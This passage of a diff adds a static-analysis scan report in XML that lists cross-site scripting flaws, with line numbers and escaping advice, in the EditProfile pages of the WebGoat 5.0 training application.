+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
